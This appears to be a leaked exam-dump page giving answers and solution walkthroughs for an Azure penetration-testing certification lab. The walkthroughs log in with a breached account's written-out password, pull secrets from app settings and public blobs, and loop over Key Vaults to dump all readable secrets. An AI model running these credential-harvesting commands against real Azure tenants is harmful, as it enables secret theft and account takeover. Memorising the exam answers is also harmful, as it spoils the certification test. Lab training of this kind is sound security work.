Free and Premium The SecOps Group CCPenX-Az Dumps Questions Answers

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" clientSecret " : " REDACTED "

}

The App Registration application/client ID is stored in:

clientId

================

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

================

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================

Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user’s password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID → Monitoring → Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer:

B. Update user / password profile modification

Detailed Solution:

List NSG rules:

az network nsg rule list \

--resource-group rg-prod-apps-eastus \

--nsg-name nsg-prod-linux01 \

--output table

Expected risky rule:

Name Priority Direction Access Protocol Source DestinationPortRange

------------ -------- --------- ------ -------- ------------ --------------------

Allow-SSH 100 Inbound Allow Tcp Internet 22

SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.

Correct answer:

B. Allow TCP 22 from Internet

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

Expected exposed container:

public-backups

Final answer:

public-backups

================

Detailed Solution:

In Azure Storage SAS tokens, sp means signed permissions.

For blob/container access:

r = read

l = list

w = write

d = delete

c = create

a = add

Given:

sp=rl

The permissions are:

Read + List

Correct answer:

A. Read and List

SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.